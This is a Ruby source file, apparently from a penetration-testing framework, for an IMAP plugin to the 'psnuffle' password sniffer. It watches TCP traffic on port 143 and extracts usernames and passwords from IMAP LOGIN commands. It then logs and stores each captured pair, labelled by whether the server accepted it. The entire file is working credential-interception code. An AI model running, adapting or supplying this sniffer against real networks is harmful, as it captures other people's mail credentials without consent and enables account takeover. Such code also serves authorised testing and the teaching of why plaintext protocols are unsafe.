81 lines
2.1 KiB
Ruby
Executable File
81 lines
2.1 KiB
Ruby
Executable File
# Psnuffle password sniffer add-on class for imap
|
|
# part of psnuffle sniffer auxiliary module
|
|
#
|
|
# When db is available reports go into db
|
|
# Also incorrect credentials are sniffed but marked
|
|
# as unsuccessful logins... (Typos are common :-) )
|
|
#
|
|
|
|
|
|
class SnifferIMAP < BaseProtocolParser
|
|
|
|
def register_sigs
|
|
self.sigs = {
|
|
:banner => /^(\*\s+OK[^\n\r]*)/i,
|
|
:login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i,
|
|
:login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i,
|
|
:login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i,
|
|
:login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i
|
|
}
|
|
end
|
|
|
|
def parse(pkt)
|
|
|
|
# We want to return immediatly if we do not have a packet which is handled by us
|
|
return unless pkt.is_tcp?
|
|
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
|
|
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
|
|
s[:sname] ||= "imap4"
|
|
|
|
self.sigs.each_key do |k|
|
|
# There is only one pattern per run to test
|
|
matched = nil
|
|
matches = nil
|
|
|
|
if (pkt.payload =~ self.sigs[k])
|
|
matched = k
|
|
matches = [$1,$2]
|
|
end
|
|
|
|
case matched
|
|
when :banner
|
|
s[:info] = matches
|
|
report_service(s)
|
|
|
|
when :login_pass
|
|
|
|
report_auth_info(s)
|
|
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
|
|
|
# Remove it form the session objects so freeup
|
|
sessions.delete(s[:session])
|
|
|
|
when :login_fail
|
|
|
|
report_auth_info(s.merge({:active => false}))
|
|
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
|
|
|
# Remove it form the session objects so freeup
|
|
sessions.delete(s[:session])
|
|
|
|
when :login_bad
|
|
report_auth_info(s.merge({:active => false}))
|
|
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
|
|
|
# Remove it form the session objects so freeup
|
|
sessions.delete(s[:session])
|
|
|
|
when :login
|
|
s[:user]=$1
|
|
s[:pass]=$2
|
|
|
|
when nil
|
|
# No matches, no saved state
|
|
else
|
|
sessions[s[:session]].merge!({k => matches})
|
|
end # end case matched
|
|
end # end of each_key
|
|
end # end of parse
|
|
end
|
|
|